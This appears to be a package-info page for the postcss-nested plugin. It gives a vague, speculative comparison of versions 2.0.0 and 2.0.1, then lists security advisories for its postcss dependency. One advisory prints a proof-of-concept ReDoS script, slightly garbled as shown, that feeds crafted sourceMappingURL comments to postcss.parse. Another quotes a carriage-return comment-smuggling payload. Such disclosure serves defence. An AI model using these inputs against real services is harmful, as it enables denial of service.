postcss-nested is a helpful PostCSS plugin designed to make CSS authoring more intuitive by enabling Sass-like nested rules. This allows developers to structure their stylesheets in a more organized and readable way, mirroring the HTML structure or component hierarchy. The plugin automatically unwraps these nested rules during the PostCSS processing stage, producing standard CSS that browsers can readily understand.
Comparing version 2.0.0 and the slightly newer 2.0.1, the core functionality remains consistent: both versions empower developers with nested CSS capabilities powered by PostCSS 6.0.1. The updates include refinements, potentially addressing bugs or edge cases encountered in the initial 2.0.0 release. While the dependency and development dependency remain the same, the key difference lies in the release date and potential internal fixes. Developers upgrading from 2.0.0 to 2.0.1 might expect increased stability or resolution of minor issues. Given the minor version increment (patch release), significant API changes are unlikely, ensuring a smooth transition for existing users. To benefit from this plugin, developers will need PostCSS integrating it into existing build processes using tools like webpack, gulp, or similar task runners. The plugin is released under an MIT license which offers flexibility regarding modification and distribution.
All the vulnerabilities related to the version 2.0.1 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.